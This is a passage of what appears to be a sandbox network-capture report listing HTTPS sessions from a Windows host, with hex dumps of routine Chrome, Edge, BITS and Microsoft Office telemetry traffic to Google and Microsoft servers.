2024-11-20 07:09:09 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 38 36 35 34 37 31 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732086547166",null,null,null,
2024-11-20 07:09:09 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=xt_QVV1kRTPBkSUwIqmZyq5jH5tGgUnrikJRDVNwAR6c89njSL71CM0o76qenZGGPk5Zw9lmxOvNdvt64UbfgLajcFl62UE6FAdz_pcPO9O3cVxPA54jHScwg_aFjCuNf3vfg6GbBL-Mq-rwcfFn2XeDfpToNTqiFF9KG1IUKDyd8shjvA; expires=Thu, 22-May-2025 07:09:09 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 20 Nov 2024 07:09:09 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 20 Nov 2024 07:09:09 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-20 07:09:09 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-20 07:09:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 07:09:11 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=34573 Date: Wed, 20 Nov 2024 07:09:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	142.250.185.78	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:11 UTC	922	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=xt_QVV1kRTPBkSUwIqmZyq5jH5tGgUnrikJRDVNwAR6c89njSL71CM0o76qenZGGPk5Zw9lmxOvNdvt64UbfgLajcFl62UE6FAdz_pcPO9O3cVxPA54jHScwg_aFjCuNf3vfg6GbBL-Mq-rwcfFn2XeDfpToNTqiFF9KG1IUKDyd8shjvA
2024-11-20 07:09:11 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 38 36 35 34 39 30 33 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732086549036",null,null,null,
2024-11-20 07:09:11 UTC	944	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=yV1onIIfYl6tzjJP3ZllBYQddii3jHkW-SAa3r-6JaLOOjs63d543ptHeKVaMnCg2BEiZmxXMaJk4rY5bGCH2gs-o5fP0sLB9E0W2TaBrbpEC4RnmErOc0JI3HLCWR9fcPd0NdnZhDLMRWRlpHejTIczMJ6F3vX6q8L8zE6xAOkIfRJ-QjExPtqKKg; expires=Thu, 22-May-2025 07:09:11 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 20 Nov 2024 07:09:11 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 20 Nov 2024 07:09:11 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-20 07:09:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-20 07:09:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 07:09:12 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=34533 Date: Wed, 20 Nov 2024 07:09:12 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 07:09:12 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49736	94.245.104.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:16 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:17 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 07:09:16 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070917Z-185f5d8b95cx9g8lhC1NYCtgvc00000002900000000060a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 07:09:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070918Z-1777c6cb7544nvmshC1TEBf7qc000000093g000000006mft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
